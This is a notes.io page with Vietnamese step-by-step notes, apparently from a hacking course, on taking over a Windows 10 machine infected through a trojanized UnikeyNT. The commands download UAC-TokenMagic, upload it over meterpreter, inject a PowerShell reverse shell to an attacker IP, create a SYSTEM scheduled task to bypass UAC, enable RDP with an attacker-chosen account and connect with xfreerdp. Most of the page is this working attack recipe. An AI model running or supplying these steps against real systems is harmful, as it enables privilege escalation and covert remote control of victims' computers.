Notes
Notes - notes.io |
*.0 Mở command mới, Cài đặt gói FreeRDP để remote desktop của win10: > apt-get install freerdp-x11 -y
*.1. Mở cửa sổ command mới , Tải công cụ UAC-TokenMagic
> wget https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/UAC-TokenMagic.ps1
*.2. tại cửa sổ command session 1, Upload công cụ lên máy client.
trong cửa sổ meterpreter :
> pwd
(xem đường dẫn file UnikeyNT bị nhiễm trên máy nạn nhân )
> upload UAC-TokenMagic.ps1 %temp%
3. Nâng cấp từ powershell x86 lên x64 khi quyền user
> migrate -N explorer.exe
*.4. Tạo session dạng powershell
> run post/windows/manage/payload_inject PAYLOAD=windows/x64/powershell_reverse_tcp LHOST=192.168.200.200 LPORT=5555 HANDLER=true
> sessions 2
*.5. Chạy tool để tạo task quyền SYSTEM.
ps> cd $env:temp
ps> Import-Module .UAC-TokenMagic.ps1
ps> UAC-TokenMagic -BinPath schtasks.exe -Args " /create /ru system /sc once /st 00:00 /tr C:UsersUserDesktopUniKeyNT.exe /tn ABCEF"
(có thông báo susscess là ok)
ps> UAC-TokenMagic -BinPath schtasks.exe -Args " /run /tn ABCEF"
(có thông báo susscess là ok)
ps> exit
*.6. Tương tác với session SYSTEM
sessions -i <session mới được tạo ra>
getuid
*.7 thực hiện enable_rdp như bài ngày 1
>background
> use post/windows/manage/enable_rdp
> set session <tên session được tạo ở phía trên>
> set username <tên tùy ý>
> set password <mật khẩu tùy ý>
> run
*8. Sử dụng XRDP
> xfreerdp /v:<ip-client> /u:<tên đăng nhập tạo ở Bước 7> /p:<mật khẩu>
|
|
Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 12 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team
